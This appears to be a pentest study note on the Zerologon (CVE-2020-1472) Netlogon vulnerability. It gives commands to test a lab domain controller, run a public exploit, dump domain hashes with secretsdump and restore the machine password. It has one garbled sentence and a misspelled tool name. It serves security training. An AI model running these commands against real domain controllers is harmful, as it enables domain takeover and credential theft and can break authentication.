# Zerologon

## Overview

The **Zerologon** vulnerability allows for attackers to manipulate authentication mechanisms in **Microsoft’s Active Directory Netlogon Remote Protocol** and compromise the Domain Controller.

We are essentially the Domain Controller authentication to **null** so we can authenticate without a password.

{% hint style="danger" %}
This vulnerability can **BREAK** the Domain Controller so exploiting it in a real engagement shouldn't be done
{% endhint %}

Now here's how to do it :D

## Zerologon Attack

#### First check if the Domain Controller is vulnerable with[ this script](https://github.com/SecuraBV/CVE-2020-1472)

```bash
./zerologon_tester.py PNPT-DC 192.168.1.129
```

#### Exploit the vulnerability with [this script](https://github.com/dirkjanm/CVE-2020-1472) then dump hashes

```bash
python3 cve-2020-1472-exploit.py PNPT-DC 192.168.1.129
imapcket-secretsdump -just-dc PNPT/PNPT-DC\$@192.168.1.129
```

#### Restore Domain Controller back to normal 

```bash
python3 restorepassword.py PNPT/PNPT-DC@PNPT-DC -target-ip 192.168.1.129 -hexpass XXX
```

<figure><img src="/files/a73tAYr1ODHPNQJn82K3" alt=""><figcaption><p>hex value needed to restore the Domain Controller</p></figcaption></figure>


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